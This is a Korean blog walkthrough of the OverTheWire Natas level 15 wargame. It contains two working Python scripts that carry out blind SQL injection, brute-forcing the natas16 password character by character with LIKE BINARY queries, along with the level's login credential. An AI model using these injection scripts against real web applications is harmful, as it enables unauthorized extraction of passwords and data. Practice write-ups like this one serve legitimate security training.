Wargame/natas

Natas Level 15 풀이

jin_li 2023. 9. 1. 23:56
Username: natas15
URL: http://natas15.natas.labs.overthewire.org

 
 
접속했을 때 화면:

 
이번에도 username을 입력하는 칸이 있다.
 
소스코드를 보면,

 
참/거짓인 구문이 되도록 입력하면 유저의 존재만 알려준다. 
 
따라서 Blind SQL injection을 해야한다.
 
natas16을 username 칸에 입력했을 때 해당 유저가 존재한다고 출력되었으므로
 
natas16의 패스워드를 알아낼 스크립트를 작성하자.
 
패스워드 문자열이 최대 64자리라고 했으니까, 브루트포싱하는 스크립트를 썼다.
 
 
 
1. 패스워드를 이루는 문자 목록 뽑기

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import string
 
url = 'http://natas15.natas.labs.overthewire.org/'
username = "natas15"
password = "TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB"
characters = ''.join([string.digits, string.ascii_letters])
 
passchar = []
exists_str = "This user exists."
for c in characters:
    url_query = ''.join([url, '?''username=natas16"',
                         '+and+password+LIKE+BINARY+"%', c, '%''&debug'])
    r = requests.get(url_query, auth=(username, password))
    if exists_str in r.text:
        passchar.append(c)
        print("> {0}".format(''.join(passchar)))
print("Character List: {0}".format(''.join(passchar)))
cs

 
requests 라이브러리를 임포트하면 HTTP 요청을 보내고 응답 받을 수 있다.
 
7 : 모든 숫자와 알파벳 문자열로 저장. string 모듈에서 제공하는 숫자와 알파벳 문자열 결합.
11~14 : 반복변수 c를 이용하여 characters 문자열의 각 문자를 순회하는 루프 시작하는데, natas16의 패스워드를 브루트 포싱하는 url 생성한다. 이 때 natas15의 인증정보(4~6)를 담아 GET 요청을 보낸다.
15~17 : 응답 텍스트에 exists_str 문자열이 포함되어 있다면 현재 검사 중인 문자 'c'를 passchar 리스트에 추가하여 현재까지 찾아낸 문자들과 함께 출력.
18 : 최종적으로 찾아낸 문자들 출력
 
 

 
패스워드를 이루는 문자열은 "23579adfgijklqruADEHOPRTVZ"이다.


 
 
이제 이 문자열을 가지고 패스워드에 한 자리씩 대입해서 맞는 문자를 패스워드에 추가되게 만든다.
 
2. 패스워드 출력

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
 
url = 'http://natas15.natas.labs.overthewire.org/'
username = "natas15"
password = "TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB"
exists_str = "This user exists."
char_txt = "23579adfgijklqruADEHOPRTVZ"
char_list = list(char_txt)
password_list = []
secret = ''
 
for place in range(165):
    print("Character# {}".format(str(place)))
    found = False
    for char in char_list:
        temp = secret + char
        test_url = ''.join([url, '?''username=natas16"',
                            '+and+password+LIKE+BINARY+"', temp, '%''&debug'])
        r = requests.get(test_url, auth=(username, password))
        if exists_str in r.text:
            secret = temp
            print("password: {}".format(secret))
            found = True
            break
    if not found:
        print("No matching character found for position {}".format(place))
        break
cs

 
패스워드 문자열 뽑는 스크립트를 조금만 수정하면 된다.
 
 
 
 
 

 

'Wargame > natas' 카테고리의 다른 글

Natas Level 17 풀이  (0) 2024.04.13
Natas Level 16 풀이  (0) 2024.04.08
Natas Level 14 풀이  (0) 2023.07.30
Natas Level 13 풀이  (0) 2023.07.22
Natas Level 12 풀이  (0) 2023.07.15